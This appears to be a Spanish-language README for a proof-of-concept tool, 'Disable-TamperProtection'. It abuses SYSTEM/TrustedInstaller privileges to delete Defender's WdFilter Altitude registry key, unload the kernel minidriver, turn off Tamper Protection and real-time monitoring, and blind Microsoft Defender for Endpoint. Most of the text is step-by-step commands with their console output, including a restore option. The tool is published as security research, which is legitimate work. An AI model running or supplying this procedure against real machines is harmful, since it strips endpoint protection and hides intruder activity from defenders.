alteredsecurity/disable-tamperprotectionUn PoC para deshabilitar TamperProtection y otros componentes de Defender / MDE
Es posible abusar de los privilegios de SYSTEM / TrustedInstaller para manipular o eliminar la configuración de WdFilter (clave de registro ALTITUDE) y descargar el minidriver del kernel para deshabilitar la Protección contra manipulaciones y otros componentes de Defender. Esto también afecta a Microsoft Defender para Endpoint (MDE), dejando a MDE ciego a la telemetría y la actividad realizada en un objetivo.
Durante las pruebas, se descubrió que esta vulnerabilidad afecta a las siguientes versiones de Windows:
Blog que explica el bypass y el PoC: https://www.alteredsecurity.com/post/disabling-tamper-protection-and-other-defender-mde-components
NOTA: Es posible que sea necesario instalar VC_redist.x64.exe (runtime de MSVC) en el objetivo.
Demo del PoC: https://youtu.be/MI6aVDHRix8
El PoC funciona en 3 pasos (se requieren privilegios de administrador):
C:\> .\Disable-TamperProtection.exe
Sequential Usage: 1 --> 2 --> 3
1: Unload WdFilter
2: Disable Tamper Protection
3: Disable AV/MDE
4: Restore AV/MDE settings
Un ejemplo de uso del PoC es el siguiente:
C:\> .\Disable-TamperProtection.exe 1
[+] WdFilter Altitude Registry key Value: 328010
[+] Trusted Installer handle: 0000000000000120
[!] Spawning registry with TrustedInstaller privileges to delete WdFilter "Altitude" regkey.
[+] Created process ID: 3744 and assigned additional token privileges.
[+] Execute option 1 to validate!
# Upon 2nd execution if the above output repeats the target isn't vulnerable
C:\> .\Disable-TamperProtection.exe 1
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Enumerating WdFilter information:
Next: 0 | Frame ID: 0 | No. of Instances: 4 | Name: wdfilter | Altitude: 328010
[+] Restart the system or wait a few minutes for WdFilter to unload.
[+] Execute option 1 to validate!
# Restart to crash and unload WdFilter
C:\> .\Disable-TamperProtection.exe 1
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] WDFilter has been successfully unloaded, use option 2 to disable Tamper Protection.
C:\> .\Disable-TamperProtection.exe 2
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Trusted Installer handle: 00000000000000C4
[!] Spawning registry with TrustedInstaller privileges to alter Defender "TamperProtection" regkey from 5 to 4.
[+] Created process ID: 7748 and assigned additional token privileges.
[+] Use option '3' to finally Disable AV/MDE.
C:\> .\Disable-TamperProtection.exe 3
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Trusted Installer handle: 000000000000011C
[!] Spawning registry with TrustedInstaller privileges to Disable 'RealtimeMonitoring' regkey.
[+] To disable other components of defender check source.
[+] Created process ID: 8040 and assigned additional token privileges.
# Restart the computer after execution to restore settings successfully
C:\> .\Disable-TamperProtection.exe 4
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Make sure to change Altitude in Source (Default: 328010) and reboot computer after execution.
[+] Trusted Installer handle: 0000000000000120
[!] Spawning registry with TrustedInstaller privileges to Enable 'RealtimeMonitoring' regkey.
[+] Created process ID: 5852 and assigned additional token privileges.
[!] Spawning registry with TrustedInstaller privileges to Enable 'TamperProtection' regkey.
[+] Created process ID: 2744 and assigned additional token privileges.
[!] Spawning registry with TrustedInstaller privileges to restore WdFilter "Altitude" regkey.
[+] Created process ID: 7044 and assigned additional token privileges.
Publicado por: Munaf Shariff (@m3rcer)
Investigador de seguridad en Altered Security